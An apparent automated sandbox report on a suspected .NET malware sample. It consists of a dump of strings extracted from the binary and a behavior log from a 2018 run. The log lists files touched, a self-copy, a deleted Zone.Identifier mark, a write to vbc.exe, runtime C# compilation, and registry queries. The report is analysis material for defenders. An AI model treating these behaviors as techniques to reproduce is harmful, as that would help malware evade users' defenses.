?VeY<
B<Pe?
Random
`!Xy
&h]t_
Hutq
TE*}C~
}E#$h*
8jE4
"z rA
IDATx
vM:
jN9|
lyCV!jE
VwDu
%BOeWh
d~cb
a\Y 21
*Uu]Wd
y| 3
eGV
^o30
U;dt
e*vLI
n(+OAzN
IEND
3>I_C~
NB + #
c)Vk|
(9
(H4-
x0v6
;V4V0
xj!|
>UUO;[
D5GFZ
prV\.
(8 ,}
d:u?
bs_TfI
(]\k(j_g
6cuKma
hJ6B
x+aR
]5 p
1r37*p lH
b-:J<9WKN
v#h|
CMS_REGISTRY_KEY_FLAG
Mm= TvC
Y#D5>
^J%6
:5J;5
i7Kd
<glm`
-P\[
'StA
?X3wp
[}I
*:hu
G=2x
N%@
z8&B
,>$7
of(
CSharpCodeProvider
}wmuR
/0@FP.
nN$4$
eo ]
+<"3
f7ET
O )'p
3l4]
}?QRA
0voh
` `@}
KC_m=
ysN=
immj/,Q
dm98 /hP
H!o[x K
P0KP;G
&Pq>
~i bn
E/b
wdoL
/gzJ
scCR
+gXo
&tug
WEK=
^kb
~g 3
]`]L
^ul? >
Kr H
9P.rz
+"LX
?vY3!
eL1z%
qLEu
oF~f
]\&+[$
+Rwk
>(: c8P-
.A%+y
'/ &L`0M
=U1tt
A,]a
pegBl
4\ !
}(- H,
NullableIntSumAggregationOperatorEnumerator`1
& rLS
5I*W
aha k
N*sowH
cw.+
+u]6-
9Mc+t
37M+
IEventTagEntry
wFsy5t
:Pc
;R*H
# s/r
ID=)
AbuV
NI@Jg\Se
BaseOverlappedAsyncResult
=V0
V]v_
H'(7A
{ti+
Z+v
eoOZbEX
F$5
?^SR
3YDt
tp^}\
t z,2P
#( '
Og07f~
Gc9r}
8O,qy
]BcEO
!"#|
hV~B
nu7WFs
H2IG
YuFU
q"!OXS
>:l;Y<F
8Pr?
<;oY/
N2G(
aA/c
a,T<uMn
'P7
Mlv-RtKL^]
1E' o
; QAT'
;#/A
_kO
4k,M
anT"'
pT&l
2S6x
`V9:
mi/w
k&L5
YX[gX
dM
.A$m
_CorExeMain
Os)q
y!,#
.A$p
DDJN
qr~")'5
UYc/
<`Uz@
Soy|
_Cll
t-=A
CIge
~A %
{$2u
5|[\h<
jf}a
zqC{WST}
Fexs
}V#
HP {
cbOg
5Vk
]xVG
vCx:
f oj4/
A%$z
~2)j
4]:}oC
^cC?
[+F*
gxx
8P%=C
J8X*
03[C
!'7W
UA l
ejc;R
keD`j
h}Id
&Iop
CompilerParameters
}uTDg
}&{(
#>sX
K-]!$
&(RT
L&go
9>0.A
G5/
g~G#
;<4!
_'zJ9
...+
<S0d
rU5F`
4J*xp
(.{Y
8<N%
GDn*
.?$X{
A-Q
ComEventsHelper
z(yN
@Z4z
ToCharArray
4Or=
{aZg
sGM^
C^6
DebuggableAttribute
~#<
:_SXK`
5ru+
LookupNode
r4A5
Reverse
=A$P
.-r\
X(>P
h*n^
z6|
ofiQ+
[9{-1
.33U
J?,s
;NTp
,5>_
``;|B
UserPreferenceChangingEventHandler
o1 O
+);1/\u
Ra {[
:{]l*
e .O
/;S/
kt{&`
2F'*/C&
jd5f
Double
>8l/
#dO~px
XPathNodePageInfo
P}
TrustManagerPromptUI
Object
ot5=F
\v)Q
.PPn`
b)FJru
AZ4Wz
whAhPR
/SlOX
*$P86
QcsmI>,
v s*
t#U`
njIa
*: %
o]WW
1-tD
<'(\
+<#*
/2DW
TopTabItem
PHHJW}
" O7V
Rd\T=
MethodCacheFlags
c'
PUUz4
}]|Q
J<Vl(
g00\>
#daO
}2'@.,`
s,Q;V
2lYE
<o`~
lrxl
@w2Sl
;Vr
0Hg:
hLq
5'\Z
ConstructionLevelActivator
'( @
m9\XaQk
; K4
TypedReference
[WtFaIl
QBnk
UO(5
iLs86
gW,-"z*K
hCycys
>eYEN)8
sRGB
n ^&
__T
iL$}
*<"V
<N.%j
V;zu
%\Oh1
Exit
s#4W
j}ZKM
6O>J
H@6R
yl!,
*Yqu
WCE~
7=X1
&}ytMSO
J?X3
??Q }
;?n`M<w
pvP ]
P8jE
1'/E
m,PQ2{7
#YF'
%_wR
3d"R
^'MmFG
?&>x
Aq}1
8N.7,>"
$hyr
A8{b
0EN)@cF
_dADU
A\3
78};
,q t
@A<7
iknow
JsegFgn[
]j_Zp
>}eM
xks
+zz
fmuUe[U
>`9F
8P.|
%7N,
p$O>
Ja j?
Mypj
E3H)
%1"}
3vDX|DwIDI
"7(ne
7qRh=
b5eb
,=$6|
0 'M
W `^zO
$z=cQI
*\OP
ee++
mQ[<
ua87
bU#R
':?)%
WP;M8
uSJq
-UvB
OleDbServicesConverter
.@%9
mqtI
~]}M
Ga8q
NVJg
qPl(J
pD$R
O~6I
P=4
rnR
4b#b
,8 W
LS|?
01H<
S]C5
Y'O%
ACVUUtJ
JU[7L
"Q
+ty
XN3Ui
t]S{
2c5,
!s~K
nn@c
.@%P
C'H)
9Q.sp
MQy
Vkfa
8O-a
Xw`+
a d0R
(7 1|
Ps2O~
=Onz~
v"N+
'7M-
R@(kv
onGib
Next
F74G
L344
,>6S0
2C&*
0E&>|
2G({-@$k#2
P2'T
<-.:6rK
o3Vx
RvG(
HSkZ
W&'/
~_=
K~N:F
9Uy ]e
= +
|qo@
%h6q
w*6
fhsl
<>c__DisplayClass2_0
uhV>6
fhs^
%h6C
m9\2j
}*<5
t&Pm
g9]m
Ug-/
x0uJ r
JJi<
5gc-
!+qo0
7M,t
bp9 -
F-@$k6L+
-zFH
gZvW
X9,'h
>T@=
HmMn
_ '#Vw
Dv<w
D_7ry
c-dM
7l1s
3,VU
3B-{
_/TR
SUU%
beX2*)
YuR2
_Eq?
\9/^
|?z>h
-fy`
/gf
-U )
IDATx^T
Wf(5
7|o^
]pHH
S2xs
q!?"s
u>]`C
.al
1E'`
GCLatencyMode
,>#q
1E'x
W`ni
1E'|
2)zM
v]]y
1E't
~Orb
>V1oy
Ugl[
?X3o0D&
)8L}
,>#[
gL; m
N8fglw%
*'OO
Com2IPerPropertyEnumConverter
^}n
-@%5
`K_}
m?&@P
3hdb?
l4-H
_| 5
400f
,KUj
?<XY
FF$
*]ZxH
61E'
-.}#N
!(*!
A\fo
-uDn
Math
.[eln
&P '
P +A\
vjZs
=j=&
RtA
3H(d
fj5@
~ v
"t?{
&1-U
& o"
System.Runtime.CompilerServices
ZHw0I
R`DD
;tD6
\,~v
aYAJhod\8Vk
Zxb\f
K>{#<CI
set_CompilerOptions
0QtX$x
Vs;k
.-a:
U[_
]HsAYCb\ivf
5A+xx
26Qi2
Tv3Y
N!so
cG J
/A%`
l}`!o
72k ;
3Goti
r\H7
nXG$
D#~)
P?X6D(f
A/C&}\
?c$G
`KvFFw
bfy)
dNsp
<WriteAttributeTextBlockAsync>d__127
e/?A
jLjd
U) l
. RaO
TWxTc?
7 dq
E#,L|O
Ki<C
U`^=
m1S
*3I)~p
FCN
_C;<[
*<"Vo
4J*q
4-A$tm
b!s ?
b@.C
"vSx
\F@+F
-)<"cu
C~|P
D\U lo
N="B
<LYa
InternalEncoderBestFitFallback
<Module>
Q^1b
LinearGradientMode
[Wj%
2%=g
Tb}9q
)|-x
zE#t
wS <
9 $P
=h%j
)Ts.$
O[!S
Ap[$
h/=]v
8j84.(B5V{
Ip&68
eEXgz
kZ2Rq{7
w3~[
,?#{
jtq^
=oF"
*B^4
3y<}
n]CF
q&>v
X5o^
lt/j
bg52
e @#
N]-}
)Qcw
6M8w
>^K
jJTo
\&)DX
, s<
.7*h
]c\kx
#GUID
!v<s
a\S1
>r7Y
aHT*
3UxD
-A&9}
P((
+W G
|"WI
y5lg
Ui+ Y
D-NF
Ui9ZM
Lb2v
$ft)
!UEjX
`uVf
q#z?C
* U
u3a(OsRB
} lX
1(y~Vm
EGWLip!
&*Fr=
7ff4{X
>>,V
18H'
&*Fr)
UU%+
:Q.~o
-9cJ
8vqB
5 bR"
8QJ7
@ D>
#k-tt
-Mh1
L8vCe
x\ =f
Uz::
-@$|
M]A
fiv^
Lx$H&?
LMT}
-?$(u
@kB0
ML&Mm
M2G(
@4 w
2\}$
<eO{
ZO(U
Fb7$
AZ4UTwC
OidKeyType
wgIs|
Xzu
*V*U
IDATV(
hh_g
0E'~
i+Aggh7*
fI-h
(rnj
mlr^k
?R%x
7 uk
@Z3y
4_v?(G
\3,C
Pd:4
$CGW
_cQqv
CounterEntry
njXU
-?$K3G(
Om.{
ListViewItemMouseHoverEventArgs
U1q
l>Xy
<E8}e"S
EdeN
nC|Y<
i^`@
PW-&
%Z~
Replace
z_@!y
txX^5
uT`{
>V2
*="E
D$g]
*qW
He:p|
k^Y ^
/! nU
?Y3z
Z2QO
IBindableVectorView
Z000
Y<o1
=psng
0|^s
jDge
G ja
8O,uu
)9i
[jU0
,f0Btp\\
i3I)
h T!
Fs_~WG}
2B~z
#OpO'
^C}f2
Wavf{AQGa
vxMI
(R ^
I;#
+/k?
vg Q
WriteLine
#beuuA
Q\u\
hHRJn?!<
+<#?z
Z kj1c
_&;:
.A%gr
-. YV
Kl; z
i\$9
f!I
p4R/
ParallelExecutionMode
1F'uk
pl1;=?
Yv##
LB s
b."
XmlSchemaSimpleContentRestriction
O=6}
$`:,
^$*M
C^*rE
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven06_64 Seven06_64 VirtualBox 2018-05-29 09:46:07 2018-05-29 09:48:57 170

10 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven06_64 Seven06_64 VirtualBox 2018-05-29 09:46:07 2018-05-29 09:48:57 170

9 Summary items with data

Files

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Seven01\AppData\Local\Temp\windows.exe.config
C:\Users\Seven01\AppData\Local\Temp\windows.exe
C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSVCR120_CLR0400.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Users\Seven01\AppData\Local\Temp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll
\Device\KsecDD
C:\Windows\assembly\NativeImages_v4.0.30319_32\orD5T4TZl4FSK3G5.CIL\*
C:\Users\Seven01\AppData\Local\Temp\windows.INI
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\Microsoft.Net\assembly\GAC_32\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.tmp
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.0.cs
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.dll
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.cmdline
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.out
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.err
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.pdb
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Users\Seven01\AppData\Local\Temp\windows.exe.Local\
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll
C:\Users\Seven01\windows.exe
C:\Users\Seven01\windows.exe:Zone.Identifier
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it-IT\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it-IT\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Windows\assembly\GAC_64
C:\Windows\assembly\GAC_64\mscorlib.resources
C:\Windows\assembly\GAC_32
C:\Windows\assembly\GAC_32\mscorlib.resources
C:\Windows\assembly\GAC_MSIL
C:\Windows\assembly\GAC_MSIL\mscorlib.resources
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\*
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\GAC
C:\Windows\assembly\GAC\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_64
C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_32
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_MSIL
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC
C:\Windows\Microsoft.Net\assembly\GAC_32\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1040\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1040\cscui.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\0\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\0\cscui.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1033\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\default.win32manifest
C:\Windows\Microsoft.NET\Framework\v4.0.30319\alink.dll
C:\Windows\System32\mscoree.dll.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Seven01\AppData\Local\Temp\System.Management.dll
C:\Windows
C:\Windows\Microsoft.NET
C:\Windows\Microsoft.NET\Framework
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll
C:\Users\Seven01\AppData\Local\Temp\System.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.dll
C:\Users\Seven01\AppData\Local\Temp\System.Drawing.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Drawing.dll
C:\Users\Seven01\AppData\Local\Temp\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorpehost.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll
C:\Users\Seven01\AppData\Local\Temp\CSCA93E330DABC0451BB4AC4C832D44BB78.TMP
C:\Users\Seven01\AppData\Local\Temp\RES9E14.tmp
C:\Windows\System32\tzres.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\.IgHiJkLiO

Read Files

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Seven01\AppData\Local\Temp\windows.exe.config
C:\Users\Seven01\AppData\Local\Temp\windows.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
\Device\KsecDD
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.dll
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.pdb
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1033\cscui.dll
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.cmdline
C:\Windows\Microsoft.NET\Framework\v4.0.30319\alink.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe.config
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.0.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Drawing.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorpehost.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\default.win32manifest
C:\Users\Seven01\AppData\Local\Temp\CSCA93E330DABC0451BB4AC4C832D44BB78.TMP
C:\Users\Seven01\AppData\Local\Temp\RES9E14.tmp
C:\Windows\System32\tzres.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Write Files

C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.tmp
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.0.cs
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.dll
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.cmdline
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.out
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.err
C:\Users\Seven01\windows.exe
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.pdb
C:\Users\Seven01\AppData\Local\Temp\CSCA93E330DABC0451BB4AC4C832D44BB78.TMP
C:\Users\Seven01\AppData\Local\Temp\RES9E14.tmp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\.IgHiJkLiO

Delete Files

C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.dll
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.pdb
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.err
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.cmdline
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.0.cs
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.tmp
C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.out
C:\Users\Seven01\windows.exe:Zone.Identifier
C:\Users\Seven01\AppData\Local\Temp\RES9E14.tmp
C:\Users\Seven01\AppData\Local\Temp\CSCA93E330DABC0451BB4AC4C832D44BB78.TMP

Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v4.0.30319
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v4.0.30319\SKUs\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v4.0.30319\SKUs\default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\NGen\Policy\v4.0
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Servicing
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
